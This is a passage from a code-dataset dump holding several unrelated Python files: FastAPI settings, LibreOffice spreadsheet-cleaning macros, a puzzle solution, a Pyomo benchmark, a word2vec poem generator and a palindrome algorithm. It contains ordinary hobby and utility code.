= 'testFastAPI'\r\n DESCRIPTION: str = 'FastAPI Demo'\r\n\r\n # 文档地址 默认为docs\r\n DOCS_URL: Optional[str] = '/api/docs'\r\n # 文档关联请求数据接口\r\n OPENAPI_URL: Optional[str] = '/api/openapi.json'\r\n # redoc 文档\r\n REDOC_URL: Optional[str] = '/api/redoc'\r\n\r\n # SQLAlchemy\r\n SQLALCHEMY_DATABASE_URL: str = f\"mysql+aiomysql://{CONFIG_INFO['db']['user']}:{CONFIG_INFO['db']['password']}\" \\\r\n f\"@{CONFIG_INFO['db']['host']}/{CONFIG_INFO['db']['database']}?charset=utf8mb4\"\r\n SQLALCHEMY_ENGINE_OPTIONS: Dict[str, Any] = {\r\n 'pool_size': 10,\r\n 'max_overflow': 0,\r\n 'pool_recycle': 60 * 60 * 2,\r\n # 'pool_reset_on_return': None, # 放回时执行的操作,默认执行 'rollback'\r\n 'pool_timeout': 5, # n秒获取不到session, 超时报错\r\n 'isolation_level': 'READ COMMITTED',\r\n 'echo_pool': True,\r\n 'pool_pre_ping': False,\r\n 'execution_options': {\r\n }\r\n }\r\n\r\n\r\nsettings = Settings()\r\n","sub_path":"settings/development.py","file_name":"development.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"208051973","text":"import uno\nimport re\nimport os.path\nimport os\nfrom com.sun.star.awt.PosSize import POSSIZE\nfrom com.sun.star.awt.MessageBoxButtons import BUTTONS_OK, BUTTONS_OK_CANCEL, BUTTONS_YES_NO, BUTTONS_YES_NO_CANCEL, BUTTONS_RETRY_CANCEL, BUTTONS_ABORT_IGNORE_RETRY\nfrom com.sun.star.awt.MessageBoxButtons import DEFAULT_BUTTON_OK, DEFAULT_BUTTON_CANCEL, DEFAULT_BUTTON_RETRY, DEFAULT_BUTTON_YES, DEFAULT_BUTTON_NO, DEFAULT_BUTTON_IGNORE\nfrom com.sun.star.awt.MessageBoxType import MESSAGEBOX, INFOBOX, WARNINGBOX, ERRORBOX, QUERYBOX\n\nctx = uno.getComponentContext()\nsmgr = ctx.ServiceManager\n\ndef Selection(self, join = ''):\n \n desktop = smgr.createInstanceWithContext(\"com.sun.star.frame.Desktop\", ctx)\n doc = desktop.getCurrentComponent()\n sheet = doc.CurrentController.getActiveSheet()\n sourceRange = doc.getCurrentSelection()\n Area = sourceRange.getRangeAddress()\n frow = Area.StartRow\n lrow = Area.EndRow\n fcol = Area.StartColumn\n lcol = Area.EndColumn\n \n cRange = range(fcol, lcol+1)\n rRange = range(frow, lrow+1)\n if join == '':\n return rRange , cRange , sheet, lcol\n else:\n return rRange , cRange , sheet,fcol, lcol\n\n# Dialogs\ndef addAwtModel(oDM,srv,sName,dProps):\n '''Insert UnoControlModel into given DialogControlModel \n oDM by given sName and properties dProps'''\n oCM = oDM.createInstance(\"com.sun.star.awt.UnoControl\"+ srv +\"Model\")\n while dProps:\n prp = dProps.popitem()\n uno.invoke(oCM,\"setPropertyValue\",(prp[0],prp[1]))\n #works with awt.UnoControlDialogElement only:\n oCM.Name = sName\n oDM.insertByName(sName,oCM)\n# Getting Input from user\ndef getInput(BoxTitle, Label):\n \n oDM = smgr.createInstance(\"com.sun.star.awt.UnoControlDialogModel\")\n oDM.Title = BoxTitle\n addAwtModel(oDM,'FixedText','lblName',{\n 'Label' : Label,\n }\n )\n insertFuntion = False\n if BoxTitle == \"Insert before Cell Value\" or BoxTitle == \"Insert after Cell Value\":\n insertFuntion = True\n addAwtModel(oDM,'CheckBox','var',{\n 'Label' : 'Ignore empty Cell',\n })\n if BoxTitle == \"Replace Charachtars\" :\n addAwtModel(oDM,'Edit','Field1',{})\n addAwtModel(oDM,'FixedText','lblName2',{\n 'Label' : 'Replace With',\n }\n )\n addAwtModel(oDM,'Edit','Field2',{})\n else:\n\n addAwtModel(oDM,'Edit','inputField',{})\n \n addAwtModel(oDM,'Button','btnOK',{\n 'Label' : 'OK',\n 'DefaultButton' : True,\n 'PushButtonType' : 1,\n }\n )\n addAwtModel(oDM,'Button','btnCancel',{\n 'Label' : 'Cancel',\n 'PushButtonType' : 2,\n }\n )\n\n Dialog = smgr.createInstance(\"com.sun.star.awt.UnoControlDialog\")\n Dialog.setModel(oDM)\n if insertFuntion == True:\n check = Dialog.getControl('var')\n CheckBoxState = check.getState()\n input1 = Dialog.getControl('Field1')\n input2 = Dialog.getControl('Field2')\n inputF = Dialog.getControl('inputField')\n h = 35\n y = 20\n for c in Dialog.getControls():\n c.setPosSize(10, y, 220, h, POSSIZE)\n y += h \n Dialog.setPosSize(300,300,300,y+h,POSSIZE)\n Dialog.setVisible(True)\n x = Dialog.execute()\n if insertFuntion == True:\n if x:\n return (check.getState(), inputF.getText())\n else:\n return (\"\", \"\")\n if input1 and input2:\n if x:\n return (input1.getText(),input2.getText())\n else:\n return (\"\",\"\")\n else:\n if x:\n return (inputF.getText())\n else:\n return \"\"\n\n# Massage Box\ndef warningBox(BoxTitle, msg):\n doc = XSCRIPTCONTEXT.getDocument()\n parentwin = doc.CurrentController.Frame.ContainerWindow\n res = MessageBox(parentwin, msg, BoxTitle, QUERYBOX, BUTTONS_YES_NO_CANCEL + DEFAULT_BUTTON_NO)\n return res\n\ndef MessageBox(ParentWin, MsgText, MsgTitle, MsgType=MESSAGEBOX, MsgButtons=BUTTONS_OK):\n \n sv = smgr.createInstanceWithContext(\"com.sun.star.awt.Toolkit\", ctx) \n myBox = sv.createMessageBox(ParentWin, MsgType, MsgButtons, MsgTitle, MsgText)\n return myBox.execute()\n\n# Folder Path\ndef getpath():\n\n createUnoService = smgr.createInstance\n folderpicker = createUnoService( \"com.sun.star.ui.dialogs.FolderPicker\" ) \n # folderpicker.initialize( ( 1 ) ) \n ok = folderpicker.execute() \n if ok:\n return uno.fileUrlToSystemPath( folderpicker.getDirectory())\n\n\n\"\"\"Functions of ASAP Utilities\"\"\"\n# Extracting information from Zone ID\ndef zoneIDInformatin(self):\n warning = warningBox(\"Zone ID Info.\", \"Are you sure?\") \n if warning == 3 or warning == 0:\n return\n rRange , cRange , sheet, lcol = Selection(self)\n Columns = sheet.getColumns()\n Columns.insertByIndex(lcol+1, 3)\n a = 0\n venueType = {\"A\": \"Airport\",\"B\" : \"Bus Terminal Station\",\"C\" : \"Casino\",\"D\" : \"Departmant Store\",\"E\" : \"Expo\",\"H\" : \"Hospital\",\"HT\" : \"Hotel\",\"M\" : \"Museum\",\"P\" : \"Park\",\"R\" : \"Resort\",\"S\" : \"Mall\",\"SS\" : \"Arena\",\"T\" : \"Transit Station\",\"Z\" : \"Zoo\",\"U\" : \"University\",\"CM\" : \"Community Center\",\"CC\" : \"Convention Center\",\"G\" : \"Golf Club\",\"L\" : \"Library\",\"MS\" : \"Main Streets\",\"N\" : \"Nightlife\",\"RT\" : \"Race Track\",\"SE\" : \"Seaport\",\"ST\" : \"Stadium\",\"TA\" : \"Tourist Attractions\",\"AP\" : \"Amusement Park\",\"AQ\" : \"Aquarium\",\"CH\" : \"Concert Hall\",\"HR\" : \"Horse Racing Track\",\"I\" : \"IMAX\",\"SK\" : \"SKI Station\",\"TH\" : \"Theater\",\"O\" : \"Office\"}\n for i in rRange:\n if a > 100:\n break\n for j in cRange:\n Cell = sheet.getCellByPosition(j, i)\n Column1 = sheet.getCellByPosition(j+1, i)\n Column2 = sheet.getCellByPosition(j+2, i)\n Column3 = sheet.getCellByPosition(j+3, i)\n zoneId = Cell.String\n if zoneId:\n a = 0\n \n zI = re.findall(r\"[^\\d_]+|\\d+\",zoneId)\n vT = zI[0][:1]\n vT = venueType[vT]\n uniqueId = zI[3]\n zoneName = zI[4:len(zI)]\n zoneName = \"\".join(zoneName).replace('-', ' ')\n Column1.setString(vT)\n if len(uniqueId) > 6:\n Column2.setPropertyValue( \"CharColor\", 255 * 256 * 256 )\n if len(uniqueId) == 6:\n Column2.setPropertyValue( \"CharColor\", 255)\n Column2.setString(uniqueId)\n Column3.setString(zoneName)\n else:\n a += 1\n\n# Remove extra spaces from selceted cells\ndef removeSpaces(self):\n warning = warningBox(\"Remove extra spaces\", \"Are you sure?\") \n if warning == 3 or warning == 0:\n return\n rRange , cRange , sheet, lcol = Selection(self)\n a = 0\n for i in rRange:\n if a > 100:\n break\n for j in cRange:\n Cell = sheet.getCellByPosition(j, i)\n CellValue = Cell.String\n CellValue = CellValue.strip()\n CellValue = CellValue.replace('\\n', ' ')\n CellValue = CellValue.replace('\\t', ' ')\n while True:\n if not \" \" in CellValue:\n break\n CellValue = CellValue.replace(\" \",\" \")\n\n Cell.setString(CellValue)\n if CellValue:\n a = 0\n else:\n a += 1\n\n#Change the charachtars to Upper\ndef upperCase(self):\n warning = warningBox(\"Upper Case Letters\", \"Are you sure?\") \n if warning == 3 or warning == 0:\n return \n rRange , cRange , sheet, lcol = Selection(self)\n a = 0\n for i in rRange:\n if a > 100:\n break\n for j in cRange:\n Cell = sheet.getCellByPosition(j, i)\n CellValue = Cell.String\n Cell.setString(CellValue.upper())\n if CellValue:\n a = 0\n else:\n a += 1\n\n# Lower case\ndef lowerCase(self):\n warning = warningBox(\"Lower Case Letters\", \"Are you sure?\") \n if warning == 3 or warning == 0:\n return \n rRange , cRange , sheet, lcol = Selection(self)\n a = 0\n for i in rRange:\n if a > 100:\n break\n for j in cRange:\n Cell = sheet.getCellByPosition(j, i)\n CellValue = Cell.String\n Cell.setString(CellValue.lower())\n if CellValue:\n a = 0\n else: \n a += 1\n\n# Getting First Letter Capital\ndef titleCase(self):\n warning = warningBox(\"Capitalize Each Word\", \"Are you sure?\") \n if warning == 3 or warning == 0:\n return \n rRange , cRange , sheet , lcol= Selection(self)\n a = 0\n for i in rRange:\n if a > 100:\n break\n for j in cRange:\n Cell = sheet.getCellByPosition(j, i)\n CellValue = Cell.String\n Cell.setString(CellValue.title())\n if CellValue:\n a = 0\n else: \n a += 1\n\n# Remove Char.\ndef removeChar(self):\n \n rRange , cRange , sheet, lcol = Selection(self)\n usrInput = getInput(\"Remove charachtars\",\"Type Charachtar\")\n a = 0\n for i in rRange:\n if a > 100 or usrInput == \"\":\n break\n for j in cRange:\n Cell = sheet.getCellByPosition(j, i)\n CellValue = Cell.String \n Cell.setString(CellValue.replace(usrInput,\"\"))\n if CellValue:\n a = 0\n else: \n a += 1\n\n# ReplaceChar\ndef replaceChar(self):\n \n rRange , cRange , sheet, lcol = Selection(self)\n Char1, Char2 = getInput(\"Replace Charachtars\",\"Charachtars to Replace\")\n a = 0\n for i in rRange:\n if a > 100 or Char1 == \"\":\n break\n for j in cRange:\n Cell = sheet.getCellByPosition(j, i)\n CellValue = Cell.String \n Cell.setString(CellValue.replace(Char1,Char2))\n if CellValue:\n a = 0\n else: \n a += 1\n\ndef removeleadingCharacter(self):\n \n rRange , cRange , sheet , lcol= Selection(self)\n usrInput = getInput(\"Remove leading Charachtar\",\"Number of characters to \\n be removed\")\n if usrInput != \"\":\n try:\n Num = int(usrInput)\n except:\n return\n else:\n return\n a = 0\n for i in rRange:\n if a > 100:\n break\n for j in cRange:\n Cell = sheet.getCellByPosition(j, i)\n CellValue = Cell.String \n Cell.setString(CellValue[Num:])\n if CellValue:\n a = 0\n else: \n a += 1 \n\ndef removeTrailingCharacter(self):\n \n rRange , cRange , sheet, lcol = Selection(self)\n usrInput = getInput(\"Remove Trailing Charachtar\",\"Number of characters to \\n be removed\")\n if usrInput !=\"\":\n Num = int(usrInput)\n a = 0\n for i in rRange:\n if a > 100 or usrInput == \"\":\n break\n for j in cRange:\n Cell = sheet.getCellByPosition(j, i)\n CellValue = Cell.String \n Cell.setString(CellValue[:-Num])\n if CellValue:\n a = 0\n else: \n a += 1 \n\ndef insertBefore(self):\n \n rRange , cRange , sheet , lcol= Selection(self)\n checkBox, usrInput = getInput(\"Insert before Cell Value\",\"Insert\")\n a = 0\n for i in rRange:\n if a > 100 or usrInput == \"\":\n break\n for j in cRange:\n Cell = sheet.getCellByPosition(j, i)\n CellValue = Cell.String\n if checkBox == 1:\n if CellValue:\n Cell.setString(usrInput + CellValue)\n else:\n pass\n if checkBox == 0:\n Cell.setString(usrInput + CellValue)\n if CellValue:\n a = 0\n else: \n a += 1 \n\ndef insertAfter(self):\n \n rRange , cRange , sheet, lcol = Selection(self)\n checkBox, usrInput = getInput(\"Insert after Cell Value\",\"Insert\")\n a = 0\n for i in rRange:\n if a > 100 or usrInput == \"\":\n break\n for j in cRange:\n Cell = sheet.getCellByPosition(j, i)\n CellValue = Cell.String \n if checkBox == 1:\n if CellValue:\n Cell.setString(CellValue+usrInput)\n else:\n pass\n else:\n Cell.setString(CellValue+usrInput)\n if CellValue:\n a = 0\n else: \n a += 1 \n\ndef removeAlphabat(self):\n warning = warningBox(\"Remove Alphabat\", \"Are you sure?\") \n if warning == 3 or warning == 0:\n return\n rRange , cRange , sheet , lcol= Selection(self)\n a = 0\n for i in rRange:\n if a > 100:\n break\n for j in cRange:\n Cell = sheet.getCellByPosition(j, i)\n CellValue = Cell.String \n if CellValue:\n a = 0\n while True:\n for k in CellValue:\n try:\n int(k)\n except:\n CellValue = CellValue.replace(k, '')\n break\n Cell.setString(CellValue)\n else:\n a+= 1\n\ndef removeNumric(self):\n warning = warningBox(\"Remove Numric\", \"Are you sure?\") \n if warning == 3 or warning == 0:\n return\n rRange , cRange , sheet , lcol= Selection(self)\n a = 0\n for i in rRange:\n if a > 100:\n break\n for j in cRange:\n Cell = sheet.getCellByPosition(j, i)\n CellValue = Cell.String \n if CellValue:\n a = 0\n while True:\n for k in CellValue:\n try:\n int(k)\n CellValue = CellValue.replace(k, '') \n except:\n pass \n break\n Cell.setString(CellValue)\n else:\n a+= 1 \n\ndef mergeColumn(self):\n warning = warningBox(\"Merge Column\", \"Are you sure?\") \n if warning == 3 or warning == 0:\n return\n rRange , cRange , sheet ,fcol, lcol= Selection(self, 'join')\n Columns = sheet.getColumns()\n a = 0\n usrInput = getInput(\"Add a Join Value\",\"Value\")\n if fcol == lcol or usrInput == \"\":\n return\n for i in range(0,999999999):\n if a > 100:\n break\n # for j in cRange:\n firstColumn = sheet.getCellByPosition(fcol, i)\n secondColumn = sheet.getCellByPosition(lcol, i)\n firstCellValue = firstColumn.String\n secondCellValue = secondColumn.String\n if secondCellValue:\n newValue = u\"%s%s%s\" % (firstCellValue, usrInput, secondCellValue)\n firstColumn.setString(newValue)\n else:\n pass\n if firstCellValue:\n a = 0\n else:\n a += 1 \n \n Columns.removeByIndex(lcol, 1)\n\n# Reading Folder items for Zone id\ndef readFolder(self):\n\n warning = warningBox(\"Reading Folder for zoneIds\", \"Are you sure?\") \n if warning == 3 or warning == 0:\n return\n rRange , cRange , sheet, lcol = Selection(self)\n path = getpath()\n if not path:\n return\n items = os.listdir(path)\n Columns = sheet.getColumns()\n Columns.insertByIndex(lcol,1)\n for i in range(len(items)):\n Cell = sheet.getCellByPosition(lcol, i)\n Cell.setString(items[i])\n\n# FileRenamer \ndef renameFile(self):\n warning = warningBox(\"Reading Folder\", \"Are you sure?\") \n if warning == 3:\n return\n rRange , cRange , sheet, lcol = Selection(self)\n path = getpath()\n if not path:\n return\n a = 0\n files = os.listdir(path)\n for i in rRange:\n if a > 100:\n break\n Cell = sheet.getCellByPosition(lcol, i)\n CellValue = Cell.String \n if CellValue:\n a = 0\n File = files[i]\n filePath = os.path.join(path, File)\n fileName, fileExtension = os.path.splitext(File)\n newName = os.path.join(path, \"%s\"%(CellValue))\n os.rename(filePath, newName)\n else:\n a += 1\n\n","sub_path":"LibreOffice/Codes/ASAP.py","file_name":"ASAP.py","file_ext":"py","file_size_in_byte":17190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"562949127","text":"from tool.runners.python import SubmissionPy\nimport re\n\n\nclass LucasSubmission(SubmissionPy):\n\n def run(self, s):\n # :param s: input in string format\n data = [line.replace(' ', '') for line in s.split('\\n')]\n return sum(self.evaluate(expr) for expr in data)\n \n\n def evaluate(self, expr):\n while '(' in expr:\n expr = re.sub(r'\\(([^()]+)\\)',\n lambda m: str(self.evaluate(m.group(1))), expr)\n while '+' in expr or '*' in expr:\n expr = re.sub(r'^(\\d+)\\+(\\d+)',\n lambda m: str(int(m.group(1)) + int(m.group(2))), expr)\n expr = re.sub(r'^(\\d+)\\*(\\d+)',\n lambda m: str(int(m.group(1)) * int(m.group(2))), expr)\n return int(expr)\n","sub_path":"day-18/part-1/lucas.py","file_name":"lucas.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"185404755","text":"#Newton's method of successive approximations says that whenever we have a\n#guess y for the value of the square root of a number x, we can get a\n#better guess (one closer to the actual square root) by averaging y with x/y. If we do this over and over, we should be able to get a very accurate guess.\n\n#You have to write a script that asks the user for a positive number and\n#then compute the square root with a maximum error of 0.1.\n#You then print out your answer to the user.\n\n\n\n# x = int(input (\"Give me a positive number: \"))\n# y = 0.1\n#\n# while y < (x / 2):\n# if (y ** 2) <= (x - .01):\n# y += 0.1\n# else:\n# break\n#\n# print(\"The square root of {} is {}.\".format(x, round(y, 3)))\n\n\n# x = input (\"Give me number: \")\n# y = (int(x)**0.5)\n# print (y)\n\n\nnum = int(input (\"I need a positive number: \"))\ntolerance = 0.1\ny = 0.1\n\nwhile y < (num / 2):\n if y**2 < (num - tolerance):\n y += 0.1\n else:\n break\n\nprint(\"The square root of {} is {}.\".format(num, round(y, 3)))\n","sub_path":"square_root.py","file_name":"square_root.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"74886006","text":"import pyomo.environ as pyo\r\nimport pyomo\r\nfrom Stkw_Linear.plin_models import *\r\nfrom Stkw_Linear.plin_benchmarking import *\r\nimport numpy as np\r\nimport pandas\r\n\r\n\r\nsettings = [\r\n {\r\n \"n_its\": 10,\r\n \"n_intervals\": 64,\r\n \"rng\": np.random.default_rng(2021),\r\n \"time_limit\": 10\r\n },{\r\n \"n_its\": 20,\r\n \"n_intervals\": 128,\r\n \"rng\": np.random.default_rng(2021),\r\n \"time_limit\": 10\r\n }\r\n ]\r\n\r\n#Nonmonotone Benchmark\r\nB = Benchmark(**settings[0])\r\n#Monotone Benchmark\r\nB_m = MonotoneBenchmark(**settings[0])\r\n#Concave Benchmark\r\nB_c = ConcaveBenchmark(**settings[0])\r\n#add solvers\r\ngurobi = B_Solver(\"gurobi\")\r\ngurobi.solver.options['MIPGapAbs'] = 1e10 #\r\ncplex = B_Solver(\"cplex\")\r\ncplex.solver.options['absmipgap'] = 1e10\r\n#add models\r\n\r\nmodels = [\r\n Indicator_Weak_Concrete(),\r\n Indicator_Strong_Concrete(),\r\n DCC_Concrete(),\r\n CC_Concrete(),\r\n Incremental_Concrete(),\r\n DLog_Concrete(),\r\n Indicator_Layered()\r\n ]\r\n\r\nB.add_solver(gurobi)\r\nB.add_solver(cplex)\r\nfor model in models:\r\n B.add_model(model)\r\n\r\nB_m.add_solver(gurobi)\r\nB_m.add_solver(cplex)\r\n\r\nm_models = [\r\n Indicator_Weak_Concrete(),\r\n Indicator_Strong_Concrete(),\r\n DCC_Concrete(),\r\n CC_Concrete(),\r\n Incremental_Concrete(),\r\n DLog_Concrete(),\r\n Indicator_Layered()\r\n ]\r\n\r\nfor model in m_models:\r\n B_m.add_model(model)\r\n\r\n\r\nB_c.add_solver(gurobi)\r\nB_c.add_solver(cplex)\r\n\r\nfor model in m_models: \r\n B_c.add_model(model)\r\n\r\nBenchmarks = [\r\n B, \r\n B_m,\r\n B_c\r\n ]\r\n\r\nfor setting in settings:\r\n for Benchmark in Benchmarks:\r\n print(\"Starting Benchmark\")\r\n Benchmark.set_benchmark_parameters(**setting)\r\n Benchmark.run(5)\r\n Benchmark.save_output(\"data\\\\plin_to_first\\\\\")\r\n Benchmark.reset_output()\r\n","sub_path":"Benchmarks/plin_to_first.py","file_name":"plin_to_first.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"109320278","text":"import warnings\nwarnings.simplefilter(action='ignore', category=(FutureWarning, DeprecationWarning, PendingDeprecationWarning, ImportWarning, RuntimeWarning))\n\nimport os\nimport copy\nimport time\nimport pickle\nimport operator\nfrom collections import OrderedDict\nimport re\nimport gc\nimport numpy as np\nfrom pymystem3 import Mystem\nfrom nltk.tokenize import word_tokenize\nfrom string import punctuation\n\nfrom utils import Phonetic, PoemTemplateLoader, Word2vecProcessor, stopwords, tag_mystem\n\npunctuation = [i for i in punctuation] + [\"()\", \"{}\", \"[]\"] + [i*2 for i in punctuation]\n\n# Шаблоны стихов: строим их на основе собраний сочинений от организаторов\ntemplate_loader = PoemTemplateLoader('./data/classic_poems.pickle.dat')\n\n# word emdeddings\nword2vec = Word2vecProcessor(\"./data/ruwikiruscorpora-nobigrams_upos_skipgram_300_5_2018\", \"./data/idf_dict.pickle.dat\")\n\n# Словарь ударений: берется из локального файла, который идет вместе с решением\nphonetic = Phonetic('./data/words_accent.json.bz2')\n\n# Словарь слов-кандидатов по фонетическим формам: строится из словаря семантической модели\nword_by_form = pickle.load(open(\"./data/word_by_form.pickle.dat\", \"rb\"))\n\n# игнорируем гадости\n#BAD_WORDS = \"хуй|пизд|джигурд|пися|писька|бляд|говн|ебл|уеб|выеб|шлюх|фига|какашк|пука|влагалищ|трах\"\n# ... или нет\nBAD_WORDS = \" \"\n\n#ручной спелчекинг :)\nTRANSLATION = {\n \"фе\":\"не\",\n \"бень\":\"день\",\n \"бней\":\"дней\",\n \"шень\":\"день\",\n \"нови\":\"ночи\",\n \"гули\":\"гуди\",\n \"выпь\":\"высь\",\n \"луша\":\"душа\",\n \"лолитва\":\"молитва\",\n \"ишь\":\"лишь\",\n \"рнказ\":\"как-раз\",\n \"маккои\":\"покои\",\n \"перикола\":\"колокола\",\n \"лена\":\"пена\",\n \"се\":\"все\",\n \"синый\":\"сильный\",\n \"калистый\":\"скалистый\",\n \"смир\":\"мир\",\n \"споро\":\"скоро\",\n \"эмос\":\"эпос\",\n \"кхмеры\":\"меры\",\n \"мордух\":\"воздух\",\n \"огнь\":\"огонь\",\n \"синтянин\":\"крестьянин\",\n \"араик\":\"старик\",\n \"нони\":\"ночи\",\n \"нонь\":\"ночь\",\n \"хочь\":\"ночь\",\n \"ферт\":\"черт\",\n \"вне\":\"все\",\n \"ин\":\"ни\",\n \"eн\":\"нe\",\n \"многа\":\"бога\",\n \"лебо\":\"лебо\",\n \"доре\":\"море\",\n \"прат\":\"брат\",\n \"егу\":\"еду\",\n \"маккоя\":\"покоя\",\n \"тхыль\":\"пыль\",\n \"исти\":\"кисти\",\n \"филы\":\"силы\",\n \"нгор\":\"гор\",\n \"лесня\":\"песня\",\n \"отри\":\"смотри\"\n}\n\nTOP_IDF = 0.8\nLINE_CHANGE_PORTION = 0.2\nTOP_TEMPLATES = 20\n\n# ини��иализируем pymystem3\nm = Mystem()\n\ndef generate_poem(seed, poet_id):\n\n #чистим запрос от иностранных слов\n seed = \" \".join([w for w in filter(template_loader.r.match, seed.split())])\n #получаем вектор по словам запроса, и отдельно (вектора, idf) для каждого слова\n seed_vec, seed_vecs = word2vec.text_vector(seed)\n #отбираем существительные из запроса\n seed_vecs = [\n (phonetic.get_form(vec[0]),vec) for vec in seed_vecs \n if tag_mystem(m.analyze(vec[0])[0]) == \"NOUN\"\n ]\n seed_vecs_forms = {}\n for k, v in seed_vecs:\n seed_vecs_forms.setdefault(k, OrderedDict()).update([v])\n del seed_vecs\n\n #подираем топ-n темплейтов выбранного автора ближайших по смыслу к запросу, и выбираем случайный\n closest = word2vec.word2vec.cosine_similarities(\n seed_vec, [v for t, v in template_loader.poet_templates[poet_id]]\n ).argsort(axis=0)[:TOP_TEMPLATES]\n template = template_loader.poet_templates[poet_id][np.random.choice(closest)][0]\n\n poem = copy.deepcopy(template)\n poem_len = sum([len(line) for line in poem])\n \n max_lines = np.random.choice([4,8], p=[0.6, 0.4])\n last_words = []\n\n for li, line in enumerate(poem):\n line_words = []\n line_copy = line.copy()\n order = np.array(sorted([(ti, word2vec.idf.get(token.lower(), 0)) for ti, token in enumerate(line)], key=operator.itemgetter(1), reverse=True))[:int(LINE_CHANGE_PORTION*poem_len), 0].astype(int)\n for ti in order:\n token = poem[li][ti]\n new_word = None\n if not token.isalpha() or token in punctuation or token in stopwords:\n continue\n\n word = token.lower()\n word_tag = tag_mystem(m.analyze(word)[0])\n\n form = phonetic.get_form(token)\n #пробуем заменить существительные в строке, на слова из запроса\n if word_tag == \"NOUN\":\n if form in seed_vecs_forms:\n\n candidate_phonetic_distances = [\n (replacement_word, phonetic.sound_distance(replacement_word, word))\n for replacement_word \n in seed_vecs_forms[form]\n ]\n\n if candidate_phonetic_distances:\n min_phonetic_distance = min(d for w, d in candidate_phonetic_distances)\n if min_phonetic_distance <= 1:\n phrase_vec, ___ = word2vec.text_vector(\" \".join(line))\n closest = word2vec.word2vec.cosine_similarities(\n phrase_vec, [seed_vecs_forms[form][w] for w, d in candidate_phonetic_distances if d <= 1]\n ).argmax(axis=0)\n\n new_word = list(seed_vecs_forms[form].keys())[closest]\n del seed_vecs_forms[form][new_word]\n del candidate_phonetic_distances\n\n #подбираем слова из заготовленного словаря\n if new_word is None:\n candidate_phonetic_distances = [\n (replacement_word, phonetic.sound_distance(replacement_word, word))\n for replacement_word in word_by_form[word_tag][form]\n ]\n\n if not candidate_phonetic_distances or form == (0, 0):\n continue\n\n min_phonetic_distance = min(d for w, d in candidate_phonetic_distances)\n replacement_candidates = np.array([w for w, d in candidate_phonetic_distances if d == min_phonetic_distance and not re.search(BAD_WORDS, w)])\n replacement_candidates = replacement_candidates[:int(len(replacement_candidates)*TOP_IDF)]\n replacement_candidates_vecs = np.array([word2vec.word_vector(w) for w in replacement_candidates])\n indeces = [i for i, j in enumerate(replacement_candidates_vecs) if j is not None]\n replacement_candidates = replacement_candidates[indeces]\n replacement_candidates_vecs = np.array(list(replacement_candidates_vecs[indeces]))\n\n if not replacement_candidates_vecs.shape[0]:\n continue\n\n closest = word2vec.word2vec.cosine_similarities(seed_vec, replacement_candidates_vecs).argmax(axis=0)\n new_word = replacement_candidates[closest]\n \n if ti == len(line)-1 and new_word in last_words:\n continue\n if new_word not in line_words and new_word not in stopwords:\n line_words.append(new_word)\n if new_word not in last_words:\n last_words.append(new_word)\n else:\n continue\n\n new_word = re.sub(\"ѣ\", \"е\", TRANSLATION.get(new_word, new_word))\n new_word = re.sub(\"і\", \"и\", new_word)\n\n poem[li][ti] = new_word\n if len(line) > 120:\n poem[li][ti] = token\n\n if not \" \".join(poem[li]).strip():\n poem[li] = line_copy\n\n if li == max_lines-1:\n break\n\n #собираем стих, выбрасывая пустые строки\n poem = [' '.join([token for token in line]) for line in poem]\n generated_poem = '\\n'.join([line for line in poem[:max_lines] if line.strip()])\n\n gc.collect()\n return generated_poem","sub_path":"phonetic_poet.py","file_name":"phonetic_poet.py","file_ext":"py","file_size_in_byte":8670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"567813017","text":"\"\"\"[summary]\n求最长回文字符串\n\"\"\"\n\n\ndef manacher(s):\n s = '#' + '#'.join(s) + '#' # 字符串处理,用特殊字符隔离字符串,方便处理偶数子串\n lens = len(s)\n f = [] # 辅助列表:f[i]表示i作中心的最长回文子串的长度\n maxj = 0 # 记录对i右边影响最大的字符位置j\n maxl = 0 # 记录j影响范围的右边界\n maxd = 0 # 记录最长的回文子串长度\n maxi = 0\n currentd = 0\n for i in range(lens): # 遍历字符串\n if maxl > i:\n # 这里为了方便后续计算使用count,其表示当前字符到其影响范围的右边界的距离\n count = min(maxl - i, int(f[2 * maxj - i] / 2) + 1) # ?????\n else:\n count = 1\n # 两边扩展\n while i - count >= 0 and i + count < lens and s[i - count] == s[i + count]:\n count += 1\n if (i - 1 + count) > maxl: # 更新影响范围最大的字符j及其右边界\n maxl, maxj = i - 1 + count, i\n f.append(count * 2 - 1)\n maxd = max(maxd, f[i]) # 更新回文子串最长长度\n if maxd > currentd:\n currentd = maxd\n maxi = i\n max_len = int((maxd - 1) / 2)\n return max_len, s[maxi - maxd // 2:maxi + maxd // 2].replace(\"#\", \"\")\n\n\ndef longestPalindrome3(s):\n # https://blog.csdn.net/github_39261590/article/details/73729364\n mx = 0 # mx即为当前计算回文串最右边字符的最大值\n ans = 0\n po = 0\n Len = [0] * 10000\n\n # 转换字符串\n def INIT(s):\n init_s = '@#'\n for x in s:\n init_s = init_s + x + '#'\n\n return init_s + '$', 2 * len(s) + 1 # 字符串结尾加一个字符,防止越界\n\n init_s, len_s = INIT(s) # 转换字符串\n print(init_s)\n # init_s, len_s = \"#\".join(s), len(s)\n get_po = 0\n for i in range(1, len_s):\n if mx > i:\n # i,j 关于po对称,所以 2po=i+j\n Len[i] = min(mx - i, Len[2 * po - i]) # 在Len[j]和mx-i 中取小,\n else:\n Len[i] = 1 # 如果i>mx,要从头开始匹配\n\n while init_s[i - Len[i]] == init_s[i + Len[i]]:\n Len[i] = Len[i] + 1\n\n if Len[i] + i > mx: # 若新计算的回文串右端点位置大于mx,要更新po和mx的值\n mx = Len[i] + i\n po = i\n\n if ans < Len[i]:\n ans = Len[i]\n get_po = i\n\n # 返回Len[i]中的最大值-1即为原串的最长回文子串额长度\n return 'ans= ' + str(ans - 1) + ' get_po= ' + init_s[get_po - ans + 2:get_po + ans:2]\n\n\nif __name__ == '__main__':\n s = \"cbabcd\"\n # s = \"bb\"\n num, str_ = manacher(s)\n print(num, str_)\n\n num = longestPalindrome3(s)\n 